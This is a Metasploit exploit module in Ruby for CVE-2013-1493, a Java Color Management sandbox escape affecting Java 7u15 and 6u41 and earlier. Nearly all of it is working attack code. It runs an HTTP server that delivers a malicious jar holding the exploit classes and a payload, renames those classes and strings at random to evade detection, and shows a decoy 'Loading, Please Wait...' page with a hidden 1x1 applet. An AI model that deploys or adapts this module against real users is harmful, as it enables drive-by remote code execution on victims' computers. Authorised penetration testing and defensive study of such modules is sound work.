##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  #include Msf::Exploit::Remote::BrowserAutopwn
  #autopwn_info({ :javascript => false })

  def initialize( info = {} )

    super( update_info( info,
      'Name'          => 'Java CMM Remote Code Execution',
      'Description'   => %q{
          This module abuses the Color Management classes from a Java Applet to run
        arbitrary Java code outside of the sandbox as exploited in the wild in February
        and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
        and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
        systems. This exploit doesn't bypass click-to-play, so the user must accept the java
        warning in order to run the malicious applet.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Unknown', # Vulnerability discovery and Exploit
          'juan vazquez' # Metasploit module (just ported the published exploit)
        ],
      'References'    =>
        [
          [ 'CVE', '2013-1493' ],
          [ 'OSVDB', '90737' ],
          [ 'BID', '58238' ],
          [ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
          [ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
          [ 'URL', 'http://pastie.org/pastes/6581034' ]
        ],
      'Platform'      => %w{ java win },
      'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
      'Targets'       =>
        [
          [ 'Generic (Java Payload)',
            {
              'Platform' => 'java',
              'Arch' => ARCH_JAVA
            }
          ],
          [ 'Windows x86 (Native Payload)',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86
            }
          ]
        ],
      'DefaultTarget'  => 1,
      'DisclosureDate' => '2013-03-01'
    ))
  end


  def setup
    path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1493", "Init.class")
    @init_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
    path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1493", "Leak.class")
    @leak_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
    path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1493", "MyBufferedImage.class")
    @buffered_image_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
    path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1493", "MyColorSpace.class")
    @color_space_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

    @init_class_name = rand_text_alpha("Init".length)
    @init_class.gsub!("Init", @init_class_name)
    super
  end

  def on_request_uri(cli, request)
    print_status("handling request for #{request.uri}")

    case request.uri
    when /\.jar$/i
      jar = payload.encoded_jar
      jar.add_file("#{@init_class_name}.class", @init_class)
      jar.add_file("Leak.class", @leak_class)
      jar.add_file("MyBufferedImage.class", @buffered_image_class)
      jar.add_file("MyColorSpace.class", @color_space_class)
      metasploit_str = rand_text_alpha("metasploit".length)
      payload_str = rand_text_alpha("payload".length)
      jar.entries.each { |entry|
        entry.name.gsub!("metasploit", metasploit_str)
        entry.name.gsub!("Payload", payload_str)
        entry.data = entry.data.gsub("metasploit", metasploit_str)
        entry.data = entry.data.gsub("Payload", payload_str)
      }
      jar.build_manifest

      send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
    when /\/$/
      payload = regenerate_payload(cli)
      if not payload
        print_error("Failed to generate the payload.")
        send_not_found(cli)
        return
      end
      send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
    else
      send_redirect(cli, get_resource() + '/', '')
    end

  end

  def generate_html
    html  = %Q|<html><head><title>Loading, Please Wait...</title></head>|
    html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
    html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@init_class_name}.class" width="1" height="1">|
    html += %Q|</applet></body></html>|
    return html
  end
end
